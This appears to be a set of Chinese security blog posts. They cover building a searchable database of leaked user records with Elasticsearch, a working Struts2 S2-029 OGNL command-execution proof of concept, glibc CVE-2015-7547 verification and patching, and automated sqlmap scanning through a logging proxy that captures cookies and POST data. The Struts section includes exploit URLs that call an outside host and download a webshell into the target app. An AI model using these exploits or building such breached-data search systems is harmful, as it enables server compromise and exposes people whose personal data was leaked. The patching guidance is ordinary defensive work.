社工库搭建

一、技术选型 

Elasticsearch + javaWeb

社工库主要用来检索用户数据,数据量一般在数十亿甚至数百亿,只有写入(导入)和查询,写入次数少,查询次数多,频率高。

与数据库比起来,es支持的数据量更大,更方便水平扩展,天生高可用,检索更快(实际测试5亿数据毫秒级响应),各原始数据的导入更方便。

对于前端交互用java或者python或者php本质上没有多少区别,比较社工库的用户量不大,前端开发工作量也不大。

二、系统搭建

1.硬件

磁盘1T 内存16G * 3

2.软件

centos6.5 + jdk1.8 + elasticsearch2.3.3

3.elasticsearch集群配置

node1

cluster.name: sgk
node.name: node33
node.attr.cluster: true
network.host: 172.22.1.33
discovery.zen.minimum_master_nodes: 2
discovery.zen.ping.unicast.hosts: ["172.1.1.33","172.1.1.21","172.1.1.44"]

node2&node3

cluster.name: sgk
node.name: node22
network.host: 172.1.1.22
discovery.zen.minimum_master_nodes: 2
discovery.zen.ping.unicast.hosts: ["172.1.1.33","172.1.1.21","172.1.1.44"]

插件安装

./bin/plugin install mobz/elasticsearch-head

4.数据导入

社工库的原始数据,一般是mysql、mssql数据库备份数据,或者是大文本文件。

a.文本数据,通过python读文本,使用es库写索引

b.数据库备份文件,首先还原到对应数据库中,然后通过elasticsearch-jdbc或logstash写索引

bin=/root/elasticsearch-jdbc-2.3.3.1/bin
lib=/root/elasticsearch-jdbc-2.3.3.1/lib
echo '{
    "type" : "jdbc",
    "jdbc": {
        "url":"jdbc:sqlserver://111.111.111.111:1433;databaseName=new",
        "user":"sa",
        "password":"111111",
	"sql": "select * from sgk",
	"index" : "user-index",
        "type" : "user",
	"elasticsearch" : {
             "cluster" : "eagleeye",
             "host" : "172.22.1.33",
             "port" : 9300 
        },
	"index_settings" : {
            "index" : {
                "number_of_shards" : 3,
                "number_of_replica" : 1
            }
        }
    }
}' | java \
       -cp "${lib}/*" \
       -Dlog4j.configurationFile=${bin}/log4j2.xml \
       org.xbib.tools.Runner \
       org.xbib.tools.JDBCImporter

三、数据检索

完成步骤二后,访问“http://172.1.1.33:9200/_plugin/head/”

head插件提供了基础的数据查询,状态展示等功能,基础的社工库功能已实现。

在对外提供服务时,设计页面,完成elasticsearch查询接口实现。

 

struts任意命令POC(s2-029|cve-2016-0785)

一、POC

下载struts-2.3.24.1 (2016-03-18 官网最新Releases版

到 /struts-2.3.24.1/app 目录,复制一个struts-blank.waf(官方demo),部署到tomcat下。

启动tomcat,到 webapps/struts-blank 下新建poc.jsp,输入以下代码

<%@page import="java.util.HashSet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>s2-029</title></head>
<body>
<%
	String cmd = request.getParameter("cmd");
	request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('"+cmd+"'),new java.lang.String('");
%>
<s:i18n name="%{#request.lan}">xyz</s:i18n>
</body>
</html>

然后修改 “webapps/struts2-blank/WEB-INF/web.xml” 注释23-37行 (<!– 多行注释 –>)

打开浏览器测试

QQ20160318-0@2x

加固方法:

a.struts升级 2.3.25及以上(最新版github上已发布)

b.对s标签使用数据严格校验

二、利用

1.验证(利用www.name.com上access日志即可确认)

http://127.0.0.1:8080/struts2-blank/poc2.jsp?cmd=curl http://www.name.com/

2.写shell

http://127.0.0.1:8080/struts2-blank/poc2.jsp?cmd=wget -P ../webapps/struts2-blank http://www.name.com/shell.jsp

3.利用说明

经实际测试以下几种最常用标签均能利用

<s:i18n name="%{#request.lan}">xxxxx</s:i18n>

<s:property value="%{#request.lan}"/>

<s:if test="%{#request.lan}">
	nothing
</s:if>

<s:text name="%{#request.lan}" />

在利用上有几个条件:

1.使用的是存在此漏洞的版本;

2.页面使用了struts标签;

3.标签中变量可控;

其中条件3在不看源代码的情况下较难实现,一般可以靠经验猜。

参考:http://seclab.dbappsecurity.com.cn/?p=678&from=timeline&isappinstalled=0

漏洞加固-CVE-2015-7547

 

一、漏洞相关资料
google security团队发现报告 
https://googleonlinesecurity.blogspot.tw/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
权威分析   
https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html
redhat 报告   
https://access.redhat.com/security/cve/cve-2015-7547

总结:漏洞后果很严重,漏洞利用难度很高(需要挟持DNS)

二、漏洞验证
https://github.com/fjserna/CVE-2015-7547
看README中英文说明
CVE-2015-7547-poc.py     模拟dns server
CVE-2015-7547-client.c     验证程序

#1.查看glibc版本
> rpm -qa glibc
#2.启动dns server
> python CVE-2015-7547-poc.py
#3.修改dns配置,使用伪造的dns server
> vi /etc/resolv.conf
#4.编译client并调用
> gcc -o client CVE-2015-7547-client.c
> ./client

输出 “Segmentation fault (core dumped)” 代表漏洞存在

三、加固
yum update glibc (确保yum源有最新版,glibc-2.12-1.166.el6_7.7.x86_64 及以上)
rpm -qa glibc 
./client 
注意update 需要先恢复dns,验证时需要用模拟的dns

到client 不输出 core dumped ,而是  Name or service not known,代表加固完成。

自动化sql注入漏洞挖掘

自动化sql注入漏洞挖掘

解决痛点:1.覆盖面 2.效率

一、原理
nginx作http代理,浏览器通过代理访问目标网站
nginx将全部http请求记录到redis中
Python查询redis中请求队列,循环调用sqlmap进行测试,并将结果保存到redis中

二、使用
1.redis安装及配置
步骤略
2.openresty安装及配置
安装openresty,添加proxy.conf/sqlinj.con(需引入lualib)
3.sqlmap服务开启
在N个节点开启sqlmapapi服务 (python sqlmapapi.py -s -H 0.0.0.0)
4.浏览器设置代理,通过nginx代理访问目标网站(nginx将请求全部保存到redis)
5.启动扫描任务
    a.配置修改param.py中redis连接方式
    b.调用preprocess.py将需要扫描的请求放到db1下队列中 (python preprocess.py hostname)
    c.启动扫描任务 (python console.py http://node1:8775)

 

https://github.com/zhanghangorg/sqlinj-ant

post类型sql注入漏洞扫描

一、背景

SQL注入漏洞是常见web漏的中危害最大的,是危害大的漏洞中最常见的。

幸运的是主流扫描器对SQL注入漏洞扫描识别准确率非常理想

缺陷是对post请求、有用户验权(是否登录)的请求通常无能为力。

二、解决方案

一句话说明:nginx搭建代理服务器,记录代理日志,web通过代理访问,根据日志扫描。

详细说明:

1.nginx代理服务器搭建

新建server 监听9999

server {
listen 9999;
resolver 8.8.8.8 233.5.5.5;

location ~.*\.(jpg|png|jpeg|gif|js|css)$ {
proxy_pass http://$http_host$request_uri;
}

location / {
proxy_pass http://$http_host$request_uri;
}
}

本地浏览器使用代理,访问网站,保证代理可用。

2.记录请求日志

在 “location /”中记录日志 ,这里我用lua处理(nginx与lua集成见百度)

location / {
		access_by_lua '
			
			function conv2str (o)
				local rs = ""
				if type(o) == "string" then
					rs = o
				elseif type(o) == "nil" then
					rs = "nil"
				elseif type(o) == "number" then
					rs = tostring(o)
				elseif type(o) == "boolean" then
					rs = tostring(o)
				elseif type(o) == "table" then
					for k,v in pairs(o) do
						if type(v)=="string" then
							rs = rs..k.."="..v.."&"
						else
							rs = rs..k.."="..conv2str(v).."&"
						end
					end
					if string.find(rs, "&", string.len(rs)-1) ~= nil then
						rs = string.sub(rs, 0, string.len(rs)-1)
					end
				else
					error("cannot serialize a " .. type(o))
				end
				return rs
			end

			function write(logfile, msg)
				local fd = io.open(logfile,"ab")
				if fd == nil then return end
				fd:write(msg)
				fd:flush()
				fd:close()
			end
			
			function logall()
				local remote=ngx.var.remote_addr or "-"
				local host=ngx.var.host or "-"
				local nowtime=ngx.var.time_local or "-"
				local reqMethod=ngx.req.get_method() or "-"
				local reqUri=string.gsub(ngx.var.request_uri, "?.*", "") or "-"
				local args=""
				local post=""
				local headers=ngx.req.get_headers()
				local cookies=conv2str(headers["Cookie"])
				local header=conv2str(headers)
				local line=""
				args=conv2str(ngx.req.get_uri_args())
				if string.len(args) > 0 then
					line="sqlmap.py -u \\"http://"..host..reqUri.."?"..args.."\\""
				else
					line="sqlmap.py -u \\"http://"..host..reqUri.."\\""
				end
				if reqMethod=="POST" then
					local postlength=tonumber(ngx.var.content_length)
					if postlength then
						if postlength < 10485760 then
						   	post=conv2str(ngx.req.get_post_args())
							line=line.." --data \\""..post.."\\""
						end
					end
				end
				
				if cookies~="nil" then 
					line=line.." --cookie \\""..cookies.."\\""
				end
				--line=remote.." - - ".."["..nowtime.."]".." - - "..reqMethod.." - - "..reqUri.." - - host:"..host.." - - [args]:"..args.." [post]:"..post.." [header]:"..header.."\\n"
				
				local filename = "/tmp/proxy.log"
				write(filename,line.."\\n") 
			end
			
			logall()
		';
		proxy_pass http://$http_host$request_uri;
	}

reload nginx 测试,检查/tmp/proxy.log下输出是否正常

不出意外的话,proxy.log 中将打印处理好的sqlmap扫描命令(出了意外百度解决)

3.设置扫描

新建sqlant_job.sh

#!/bin/bash
# auth:zhanghang.org#gmail.com
today=`date +%Y%m%d`
proj_dir="/opt/sqlant"
mkdir -p $proj_dir
mv /tmp/proxy.log $proj_dir/$today
/bin/sh $proj_dir/$today

设置此脚本每日定时执行,剩下的检查sqlmap扫描报告就可以了